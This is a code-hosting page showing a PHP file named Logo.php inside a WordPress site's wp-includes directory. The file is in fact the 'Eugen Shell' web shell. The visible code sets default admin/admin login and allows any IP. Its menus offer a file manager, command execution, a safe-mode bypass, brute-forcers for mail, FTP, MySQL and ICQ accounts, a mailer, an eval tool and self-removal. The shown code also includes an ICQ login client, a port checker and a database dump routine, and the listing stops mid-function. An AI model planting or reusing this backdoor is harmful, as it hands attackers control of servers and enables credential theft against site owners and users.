PageRenderTime 75ms CodeModel.GetById 25ms RepoModel.GetById 0ms app.codeStats 1ms

/wp-includes/Text/Diff/Engine/Logo.php

https://bitbucket.org/broderboy/nycendurance-wordpress
PHP | 7417 lines | 2902 code | 1809 blank | 2706 comment | 331 complexity | 160975649168e73b978af4fdad65b3d6 MD5 | raw file
Possible License(s): AGPL-1.0, GPL-3.0, Apache-2.0, GPL-2.0, LGPL-2.1

Large files files are truncated, but you can click here to view the full file

  1. <?php
  2. # Eugen's shell
  3. $log_in="admin"; //логин
  4. $password="admin"; //пароль
  5. $hosts=array("*"); //Разрешённые адреса: array("nas1-86.isp.com", "213.186.11.128");
  6. error_reporting(0);
  7. set_time_limit(0);
  8. ini_set("max_execution_time","0");
  9. ini_set("memory_limit","9999M");
  10. ini_set("output_buffering","0");
  11. set_magic_quotes_runtime(0);
  12. ignore_user_abort(1);
  13. $date=date("d.m.Y");
  14. $time_now=date("H:i");
  15. $_REQUEST = array_merge($_GET, $_POST);
  16. if (get_magic_quotes_gpc()){
  17. foreach ($_REQUEST as $key=>$value)
  18. {
  19. $_REQUEST[$key]=stripslashes($value);
  20. }
  21. }
  22. $act=$_REQUEST['act'];
  23. $name_img=$_REQUEST['name_img'];
  24. $dl=$_REQUEST['download'];
  25. $img=$_REQUEST['image'];
  26. if (!empty($_REQUEST['workingdir'])) chdir($_REQUEST['workingdir']);
  27. $hcwd="<input type=hidden name=workingdir value=\"".getcwd()."\">";
  28. $errorbox = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td><b>Ошибка: </b>";
  29. $et = "</td></tr></table>";
  30. $v="3.01 private";
  31. $msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td align=\"center\">";
  32. $intro="<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"><tr><td><b>Скрипт:</b><br>".str_repeat("---",25)."<br><b>Название:</b> Eugen Shell<br><b>Версия:</b> ".$v."<br><br><b>Автор:</b><br>".str_repeat("---",25)."<br><b>Имя:</b> Евгений<br><b>Страна:</b> Украина<br><b>Email:</b> <a href=\"mailto:majorchik@gmail.com?subject=Shell\">majorchik@gmail.com</a>".$et."</center>";
  33. $footer=$msgbox."Eugen Shell v".$v.$et;
  34. $t = "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\">";
  35. $crack="</td><td></td></tr><form method=\"POST\" name=form><tr><td width=\"20%\">Словарь:</td><td><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\">Тип словаря:</td><td><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\">Имя:</td><td><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\">Сервер:</td><td><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\">&nbsp;</td><td align=right>".$hcwd."<input class=buttons type=submit value=Старт></td></tr></form></table></center>";
  36. $disablefunctions = @ini_get('disable_functions');
  37. if ($_REQUEST['sec'] == "logout") {
  38. setcookie("user_name");
  39. setcookie("pass_word");
  40. header("Location: ".$_SERVER['PHP_SELF']);
  41. exit();
  42. }
  43. $style="<style>
  44. body {
  45. scrollbar-base-color: #484848;
  46. scrollbar-arrow-color: #FFFFFF;
  47. scrollbar-track-color: #969696;
  48. font-size:16px;
  49. font-family:\"Arial Narrow\";
  50. }
  51. Table {
  52. font-size: 15px;
  53. }
  54. .buttons {
  55. font-family:Verdana;
  56. font-size:10pt;
  57. font-weight:normal;
  58. font-style:normal;
  59. color:#FFFFFF;
  60. background-color:#555555;
  61. border-style:solid;
  62. border-width:1px;
  63. border-color:#FFFFFF;
  64. }
  65. textarea {
  66. border: 0px #000000 solid;
  67. background: #EEEEEE;
  68. color: #000000;
  69. }
  70. input {
  71. background: #EEEEEE;
  72. border-width:1px;
  73. border-style:solid;
  74. border-color:black;
  75. }
  76. select {
  77. background: #EEEEEE;
  78. border: 0px #000000 none;
  79. }
  80. .itemBorder { border: 1px solid black }
  81. .itemText { text-decoration: none; color: #ffffff; font: 12px Arial, Helvetica }
  82. .crazyBorder { border: 2px outset gray }
  83. .crazyText { text-decoration: none; color: #ffffff; font: Bold 12px Arial, Helvetica }
  84. </style>";
  85. $mainmenu=$style."<script>
  86. var isDOM = (document.getElementById ? true : false); var isIE4 = ((document.all && !isDOM) ? true : false);var isNS4 = (document.layers ? true : false);function getRef(id) {if (isDOM) return document.getElementById(id);if (isIE4) return document.all[id];if (isNS4) return document.layers[id];}function getSty(id) {return (isNS4 ? getRef(id) : getRef(id).style);} var popTimer = 0;var litNow = new Array();function popOver(menuNum, itemNum) {clearTimeout(popTimer);hideAllBut(menuNum);litNow = getTree(menuNum, itemNum);changeCol(litNow, true);targetNum = menu[menuNum][itemNum].target;if (targetNum > 0) {thisX = parseInt(menu[menuNum][0].ref.left) + parseInt(menu[menuNum][itemNum].ref.left);thisY = parseInt(menu[menuNum][0].ref.top) + parseInt(menu[menuNum][itemNum].ref.top);with (menu[targetNum][0].ref) {left = parseInt(thisX + menu[targetNum][0].x);top = parseInt(thisY + menu[targetNum][0].y);visibility = 'visible';}}}function popOut(menuNum, itemNum) {
  87. if ((menuNum == 0) && !menu[menuNum][itemNum].target)hideAllBut(0)
  88. else
  89. popTimer = setTimeout('hideAllBut(0)', 500);}function getTree(menuNum, itemNum) {itemArray = new Array(menu.length);while(1) {itemArray[menuNum] = itemNum;if (menuNum == 0) return itemArray;itemNum = menu[menuNum][0].parentItem;menuNum = menu[menuNum][0].parentMenu;}}function changeCol(changeArray, isOver) {for (menuCount = 0; menuCount < changeArray.length; menuCount++) {if (changeArray[menuCount]) {newCol = isOver ? menu[menuCount][0].overCol : menu[menuCount][0].backCol;with (menu[menuCount][changeArray[menuCount]].ref) {if (isNS4) bgColor = newCol;else backgroundColor = newCol;}}}}function hideAllBut(menuNum) {var keepMenus = getTree(menuNum, 1);for (count = 0; count < menu.length; count++)if (!keepMenus[count])menu[count][0].ref.visibility = 'hidden';changeCol(litNow, false);}function Menu(isVert, popInd, x, y, width, overCol, backCol, borderClass, textClass) {this.isVert = isVert;this.popInd = popInd;this.x = x;this.y = y;this.width = width;this.overCol = overCol;this.backCol = backCol;this.borderClass = borderClass;this.textClass = textClass;this.parentMenu = null;this.parentItem = null;this.ref = null;}function Item(text, href, frame, length, spacing, target) {this.text = text;this.href = href;this.frame = frame;this.length = length;this.spacing = spacing;this.target = target;this.ref = null;}function writeMenus() {if (!isDOM && !isIE4 && !isNS4) return;for (currMenu = 0; currMenu < menu.length; currMenu++) with (menu[currMenu][0]) {var str = '', itemX = 0, itemY = 0;for (currItem = 1; currItem < menu[currMenu].length; currItem++) with (menu[currMenu][currItem]) {var itemID = 'menu' + currMenu + 'item' + currItem;var w = (isVert ? width : length);var h = (isVert ? length : width);if (isDOM || isIE4) {str += '<div id=\"' + itemID + '\" style=\"position: absolute; left: ' + itemX + '; top: ' + itemY + '; width: ' + w + '; height: ' + h + '; visibility: inherit; ';if (backCol) str += 'background: ' + backCol + '; ';str += '\" ';}if (isNS4) {str += '<layer id=\"' + itemID + '\" left=\"' + itemX + '\" top=\"' + itemY + '\" width=\"' + w + '\" height=\"' + h + '\" visibility=\"inherit\" ';if (backCol) str += 'bgcolor=\"' + backCol + '\" ';}if (borderClass) str += 'class=\"' + borderClass + '\" ';str += 'onMouseOver=\"popOver(' + currMenu + ',' + currItem + ')\" onMouseOut=\"popOut(' + currMenu + ',' + currItem + ')\">';str += '<table width=\"' + (w - 8) + '\" border=\"0\" cellspacing=\"0\" cellpadding=\"' + (!isNS4 && borderClass ? 3 : 0) + '\"><tr><td align=\"left\" height=\"' + (h - 7) + '\">' + '<a class=\"' + textClass + '\" href=\"' + href + '\"' + (frame ? ' target=\"' + frame + '\">' : '>') + text + '</a></td>';if (target > 0) {menu[target][0].parentMenu = currMenu;menu[target][0].parentItem = currItem;if (popInd) str += '<td class=\"' + textClass + '\" align=\"right\">' + popInd + '</td>';}str += '</tr></table>' + (isNS4 ? '</layer>' : '</div>');if (isVert) itemY += length + spacing;else itemX += length + spacing;}if (isDOM) {var newDiv = document.createElement('div');document.getElementsByTagName('body').item(0).appendChild(newDiv);newDiv.innerHTML = str;ref = newDiv.style;ref.position = 'absolute';ref.visibility = 'hidden';}if (isIE4) {document.body.insertAdjacentHTML('beforeEnd', '<div id=\"menu' + currMenu + 'div\" ' + 'style=\"position: absolute; visibility: hidden\">' + str + '</div>');ref = getSty('menu' + currMenu + 'div');}if (isNS4) {ref = new Layer(0);ref.document.write(str);ref.document.close();}for (currItem = 1; currItem < menu[currMenu].length; currItem++) {itemName = 'menu' + currMenu + 'item' + currItem;if (isDOM || isIE4) menu[currMenu][currItem].ref = getSty(itemName);if (isNS4) menu[currMenu][currItem].ref = ref.document[itemName];}}with(menu[0][0]) {ref.left = x;ref.top = y;ref.visibility = 'visible';}}var menu = new Array();var defOver = 'gray', defBack = 'gray';var defLength = 22;menu[0] = new Array();menu[0][0] = new Menu(false, '', 5, 0, 17, 'gray', 'gray', '', 'itemText');menu[0][1] = new Item('Назад','javascript:history.back(1)', '', 90, 10, 0);menu[0][2] = new Item('PHPINFO','".hlink("sec=phpinfo")."', '', 90, 10, 0);menu[0][3] = new Item('Инфо','"; $cwd=str_replace("\\","\\\\",getcwd()); $mainmenu.=hlink("sec=sysinfo&workingdir=$cwd"); $mainmenu.="', '', 90, 10, 0);menu[0][4] = new Item('Файлы','".hlink("sec=fm&workingdir=$cwd")."', '', 90, 10, 1);menu[0][5] = new Item('Брут','".hlink("sec=cr&workingdir=$cwd")."', '', 90, 10, 2);menu[0][6] = new Item('Утилиты','".hlink("sec=tools&workingdir=$cwd")."', '', 90, 10, 3);menu[0][7] = new Item('Прокси','".hlink("sec=px&workingdir=$cwd")."', '', 90, 10, 0);menu[0][8] = new Item('О скрипте','".hlink("sec=about&workingdir=$cwd")."', '', 90, 10, 0);menu[0][9] = new Item('Выход','".hlink("sec=logout")."', '', 90, 10, 0);menu[1] = new Array();menu[1][0] = new Menu(true, '>', 0, 22, 150, defOver, defBack, 'itemBorder', 'itemText');menu[1][1] = new Item('Редактор','".hlink("sec=edit&workingdir=$cwd")."', '', defLength, 0, 0);menu[1][2] = new Item('WebShell','".hlink("sec=webshell&workingdir=$cwd")."', '', defLength, 0, 0);menu[1][3] = new Item('AntiSafe mode','".hlink("sec=asm&workingdir=$cwd")."', '', defLength, 0, 0);menu[2] = new Array();menu[2][0] = new Menu(true, '>', 0, 22, 150, defOver, defBack, 'itemBorder', 'itemText');menu[2][1] = new Item('Hash','".hlink("sec=hc&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][2] = new Item('SMTP','".hlink("sec=smtp&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][3] = new Item('POP3','".hlink("sec=pop3&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][4] = new Item('IMAP','".hlink("sec=imap&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][5] = new Item('FTP','".hlink("sec=ftp&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][6] = new Item('SNMP','".hlink("sec=snmp&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][7] = new Item('MySQL','".hlink("sec=sql&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][8] = new Item('HTTP форма','".hlink("sec=fcr&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][9] = new Item('HTTP авторизация','".hlink("sec=auth&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][10] = new Item('Coder','".hlink("sec=code&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][11] = new Item('ICQ брут','".hlink("sec=icq&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][12] = new Item('MRA брут','".hlink("sec=mbr&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][13] = new Item('Генератор словарей','".hlink("sec=dic&workingdir=$cwd")."', '', defLength, 0, 0);menu[3] = new Array();menu[3][0] = new Menu(true, '>', 0, 22, 150, defOver, defBack, 'itemBorder', 'itemText');menu[3][1] = new Item('InetCrack','".hlink("sec=http&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][2] = new Item('Файловый флудер','".hlink("sec=fflooder&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][3] = new Item('Прокси-чекер','".hlink("sec=prc&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][4] = new Item('WhoIs','".hlink("sec=whois&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][5] = new Item('PHP Криптор','".hlink("sec=cryptphp&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][6] = new Item('Converter','".hlink("sec=calc&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][7] = new Item('Hash Calc','".hlink("sec=hash&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][8] = new Item('SQL','".hlink("sec=mysql&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][9] = new Item('Мейлер','".hlink("sec=mailer&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][10] = new Item('Evaler','".hlink("sec=eval&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][11] = new Item('Сканеры','".hlink("sec=sc&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][12] = new Item('Самоудаление','".hlink("sec=selfremove&workingdir=.")."', '', defLength, 0, 0);var popOldWidth = window.innerWidth;nsResizeHandler = new Function('if (popOldWidth != window.innerWidth) location.reload()');if (isNS4) document.captureEvents(Event.CLICK);document.onclick = clickHandle;function clickHandle(evt){if (isNS4) document.routeEvent(evt);hideAllBut(0);}function moveRoot(){with(menu[0][0].ref) left = ((parseInt(left) < 100) ? 100 : 5);}
  90. </script>";
  91. $tmp=array();
  92. foreach ($hosts as $k=>$v)
  93. $tmp[]=str_replace("\\*",".*",preg_quote($v));
  94. $ssd="!^(".implode("|",$tmp).")$!i";
  95. if (!preg_match($ssd,getenv("REMOTE_ADDR")) && !preg_match($ssd,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  96. die("<html>
  97. <head>
  98. ".$style."
  99. <title>Eugen Shell</title>
  100. </head>
  101. <body text=\"#ffffff\" bgcolor=\"#181818\" link=\"#DCDCDC\" vlink=\"#DCDCDC\" alink=\"#DCDCDC\" onLoad=\"writeMenus()\" onResize=\"if (isNS4) nsResizeHandler()\">
  102. <center><br><h1>Sorry</h1><br><h1>Access denied from your IP</h1></center>
  103. </body></html>");
  104. }
  105. $loginlogin=array_merge($_COOKIE,$_POST);
  106. if ($log_in != false) {
  107. if ($loginlogin['user_name'] != $log_in || $loginlogin['pass_word'] != $password) {
  108. die("<html>
  109. <head>
  110. ".$style."
  111. <title>Eugen Shell</title>
  112. </head>
  113. <body text=\"#ffffff\" bgcolor=\"#181818\" link=\"#DCDCDC\" vlink=\"#DCDCDC\" alink=\"#DCDCDC\" onLoad=\"writeMenus()\" onResize=\"if (isNS4) nsResizeHandler()\">
  114. <center><br><h1>Authorization</h1><br>
  115. <form action=\"".$_SERVER['PHP_SELF']."\" method=post>
  116. Login:<br><input type=text name=user_name><br><br>
  117. Password:<br><input type=password name=pass_word><br><br>
  118. <input type=submit value=\"Log in\">
  119. </form>
  120. </center>
  121. </body></html>");
  122. } else {
  123. if (!$_COOKIE['user_name']) {
  124. setcookie("user_name",$log_in);
  125. setcookie("pass_word",$password);
  126. }}}
  127. function get_file_ext($file) {
  128. $file=strtolower($file);
  129. if (strstr($file,".")) {
  130. $d=strlen($file);
  131. $ext="";
  132. while($file[$d]!=".") {
  133. $ext=$file[$d].$ext; $d--; }
  134. return $ext;
  135. } else {
  136. return $file;
  137. }
  138. }
  139. if ($act == "img") {
  140. unset($img);
  141. $img=array(
  142. 'dir'=>
  143. 'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'.
  144. 'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'.
  145. '/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=',
  146. 'exe'=>
  147. 'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7'.
  148. 'WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt'.
  149. 'xhIAOw==',
  150. 'html'=>
  151. 'R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz'.
  152. 'c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P'.
  153. 'KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk'.
  154. 'Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR'.
  155. 'ADs=',
  156. 'txt'=>
  157. 'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ'.
  158. 'SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7'.
  159. 'UpPWG3Ig6Hq/XmRjuZwkAAA7',
  160. 'unk'=>
  161. 'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANE'.
  162. 'SLPcSzCqQKsVQ8JhexBBJnGVYFZACowleJZrRH7lFW8eDbMXaPO1juA2uXiGwBwFKRMeiTPlByrd'.
  163. 'yUzYbJao6npVkQQAOw==',
  164. 'php'=>
  165. 'R0lGODlhEwAQALMAAAAAAP///9fX3d3f7s/S5F1qpmJpjKOqyr7D27i80K+ywEtam4OIk+T/AO7u'.
  166. '7v///yH5BAEAAA8ALAAAAAATABAAAAR08D0wK71VSna47yBHadxhnujRqKRJvC+SJIPKbgJR7DzP'.
  167. 'NECNgNFbGI/HhmZQWASezugzsFBKdtJsoEA1aLBTJzTMIDWpRqr6mFgyounswiAgDYjY/FwxGD1K'.
  168. 'BAMIg4MJCg41fiUpjAeKjY1+EwCUlZaVGhEAOw==',
  169. 'img'=>
  170. 'R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV'.
  171. 'Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp'.
  172. 'qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq'.
  173. 'BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw=='
  174. );
  175. header("Content-type: image/gif");
  176. die (base64_decode($img[$name_img]));
  177. }
  178. class ICQclient
  179. {
  180. var $socket, $server, $port, $connected;
  181. var $uin, $password, $logged;
  182. var $client = array(), $sequence, $TLV = array();
  183. var $uin_sendto, $message;
  184. function ICQclient($uin, $password)
  185. {
  186. $this->server = "login.icq.com";
  187. $this->port = 5190;
  188. $this->uin = (string)$uin;
  189. $this->password = $password;
  190. $this->client = array("name" => "qip", "country" => "ru", "language" => "ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
  191. }
  192. function connect()
  193. {
  194. $this->socket = @fsockopen($this->server, $this->port);
  195. if (!$this->socket) return false;
  196. else {
  197. $this->connected = true;
  198. return true;
  199. }
  200. }
  201. function connect_migration()
  202. {
  203. list($server, $port) = explode(":", $this->TLV[0x05]);
  204. $this->socket = @fsockopen($server, $port);
  205. }
  206. function login()
  207. {
  208. if (!$this->connected) $this->connect();
  209. if (!$this->connected) return false;
  210. $this->receive_packet();
  211. $this->sequence = rand(0x0000, 0xFFFF);
  212. $this->send_packet("login");
  213. $SNAC = $this->receive_packet();
  214. $this->parse_SNAC($SNAC);
  215. if (!(@$this->TLV[0x05] and @$this->TLV[0x06])) return false;
  216. $this->connect_migration();
  217. $this->send_packet("cookie");
  218. $this->receive_packet();
  219. $this->send_packet("ready");
  220. $this->receive_packet();
  221. $this->logged = true;
  222. return true;
  223. }
  224. function send_message($uin, $message)
  225. {
  226. if (!$this->logged) return false;
  227. $this->uin_sendto = $uin;
  228. $this->message = $message;
  229. $this->send_packet("message");
  230. $this->receive_packet();
  231. return true;
  232. }
  233. function send_packet($type)
  234. {
  235. list($channel, $SNAC) = $this->gen_SNAC($type);
  236. $FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
  237. $packet = $FLAP.$SNAC;
  238. @fwrite($this->socket, $packet);
  239. $this->sequence++;
  240. if ($this->sequence == 0xFFFF) $this->sequence = 0x0000;
  241. }
  242. function receive_packet()
  243. {
  244. $FLAP = @fread($this->socket, 6);
  245. list(, $length) = @unpack("n", substr($FLAP, 4, 2));
  246. $SNAC = @fread($this->socket, $length);
  247. $packet = $FLAP.$SNAC;
  248. return $SNAC;
  249. }
  250. function gen_SNAC($type)
  251. {
  252. if ($type == "login") {
  253. $SNAC =
  254. pack("N", 1).
  255. $this->gen_TLV(0x01, $this->uin).
  256. $this->gen_TLV(0x02, xor_encrypt($this->password)).
  257. $this->gen_TLV(0x03, $this->client["name"]).
  258. $this->gen_TLV(0x16, 266, 2).
  259. $this->gen_TLV(0x17, $this->client["major"], 2).
  260. $this->gen_TLV(0x18, $this->client["minor"], 2).
  261. $this->gen_TLV(0x19, $this->client["lesser"], 2).
  262. $this->gen_TLV(0x1A, $this->client["build"], 2).
  263. $this->gen_TLV(0x14, 85, 4).
  264. $this->gen_TLV(0x0F, $this->client["language"]).
  265. $this->gen_TLV(0x0E, $this->client["country"]);
  266. $channel = 1;
  267. }
  268. if ($type == "cookie") {
  269. $SNAC =
  270. pack("N", 1).
  271. $this->gen_TLV(0x06, $this->TLV[0x06]);
  272. $channel = 1;
  273. }
  274. if ($type == "ready") {
  275. $SNAC =
  276. "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10".
  277. "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10".
  278. "\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10".
  279. "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10".
  280. "\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
  281. $channel = 2;
  282. }
  283. if ($type == "message") {
  284. $this->TLV[0x0501] = pack("C", 1);
  285. $this->TLV[0x0101] = pack("N", 0).$this->message;
  286. $this->TLV[0x02] =
  287. $this->gen_TLV(0x0501, $this->TLV[0x0501]).
  288. $this->gen_TLV(0x0101, $this->TLV[0x0101]);
  289. $SNAC =
  290. pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->uin_sendto), $this->uin_sendto).
  291. $this->gen_TLV(0x02, $this->TLV[0x02]).
  292. $this->gen_TLV(0x06, "");
  293. $channel = 2;
  294. }
  295. return array($channel, $SNAC);
  296. }
  297. function parse_SNAC($SNAC)
  298. {
  299. unset($this->TLV);
  300. while (strlen($SNAC) > 0) {
  301. list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4));
  302. $this->TLV[$type] = substr($SNAC, 4, $length);
  303. $SNAC = substr($SNAC, 4+$length);
  304. }
  305. }
  306. function gen_TLV($type, $value, $length=false)
  307. {
  308. switch ($length) {
  309. case 1: $format = "C"; break;
  310. case 2: $format = "n"; break;
  311. case 4: $format = "N"; break;
  312. default: $format = "a*"; break;
  313. }
  314. if ($length === false) $length = strlen($value);
  315. return pack("nn".$format, $type, $length, $value);
  316. }
  317. }
  318. function xor_encrypt($password)
  319. {
  320. $roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c";
  321. $xored = "";
  322. for ($i=0; $i<strlen($password); $i++) $xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
  323. return $xored;
  324. }
  325. function hlink($str="") {
  326. $ret = $_SERVER['PHP_SELF']."?";
  327. return $ret.$str;
  328. }
  329. function checkthisport($ip,$port,$timeout){
  330. $scan=fsockopen($ip,$port,$n,$s,$timeout);
  331. if($scan) { fclose($scan); return 1; }
  332. return 0;
  333. }
  334. if ($_REQUEST['sec']=='mysql') {
  335. function strips(&$el) {
  336. if (is_array($el)) {
  337. foreach($el as $k=>$v) {
  338. if($k!='GLOBALS') {
  339. strips($el[$k]);
  340. }
  341. }
  342. } else {
  343. $el = stripslashes($el);
  344. }
  345. }
  346. function download($file, $type = false, $name = false, $down = false) {
  347. if(!file_exists($file)) exit;
  348. if(!$name) $name = basename($file);
  349. if($down) $type = "application/force-download";
  350. else if(!$type) $type = "application/download";
  351. $disp = $down ? "attachment" : "inline";
  352. header("Content-disposition: ".$disp."; filename=".$name);
  353. header("Content-length: ".filesize($file));
  354. header("Content-type: ".$type);
  355. header("Connection: close");
  356. header("Expires: 0");
  357. set_time_limit(0);
  358. readfile($file);
  359. unlink($file);
  360. exit;
  361. }
  362. function send_header() {
  363. header("Content-type: image/gif");
  364. header("Cache-control: public");
  365. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  366. header("Cache-control: max-age=".(60*60*24*7));
  367. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  368. }
  369. $self=$HTTP_SERVER_VARS['PHP_SELF'];
  370. if(!ini_get("register_globals")){
  371. import_request_variables("GPC");
  372. }
  373. if (get_magic_quotes_gpc()) strips($GLOBALS);
  374. if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
  375. $file = "C:\\dump_".$db.".sql";
  376. $p_v=$SystemRoot."\my.ini";
  377. $os="win";
  378. } else {
  379. $file = "/tmp/dump_".$db.".sql";
  380. $p_v="/etc/passwd";
  381. }
  382. if ($_REQUEST['send']=='send_http') {
  383. if ($_REQUEST['strukt']=='d_strukt_bd' && $_REQUEST['dump']=='bd'){
  384. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  385. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  386. $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
  387. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  388. if (sizeof($tabs) == 0) {
  389. $res = mysql_query("SHOW TABLES FROM $db", $connection);
  390. if (mysql_num_rows($res) > 0) {
  391. while ($row = mysql_fetch_row($res)) {
  392. $tabs[] .= $row[0];
  393. }
  394. }
  395. }
  396. $fp = fopen($file, "w");
  397. fputs ($fp, "# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
  398. date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
  399. foreach($tabs as $tab) {
  400. if ($add_drop) {
  401. fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
  402. }
  403. $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
  404. $row = mysql_fetch_row($res);
  405. fputs($fp, $row[1].";\n\n");
  406. $res = mysql_query("SELECT * FROM `$tab`", $connection);
  407. if (mysql_num_rows($res) > 0) {
  408. while ($row = mysql_fetch_assoc($res)) {
  409. $keys = implode("`, `", array_keys($row));
  410. $values = array_values($row);
  411. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  412. $values = implode("', '", $values);
  413. $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  414. fputs($fp, $sql);
  415. }
  416. }
  417. fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
  418. }
  419. fclose($fp);
  420. }
  421. if ($_REQUEST['strukt']=='d_strukt'){
  422. $host = $HTTP_SERVER_VARS["SERVER_NAME"];
  423. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  424. $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
  425. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  426. $fp = fopen($file, "w");
  427. fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
  428. date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
  429. $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
  430. $row = mysql_fetch_row($res);
  431. fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
  432. fputs($fp, $row[1].";\n\n");
  433. $res = mysql_query("SELECT * FROM `$tbl`", $connection);
  434. if (mysql_num_rows($res) > 0) {
  435. while ($row = mysql_fetch_assoc($res)) {
  436. $keys = implode("`, `", array_keys($row));
  437. $values = array_values($row);
  438. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  439. $values = implode("', '", $values);
  440. $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
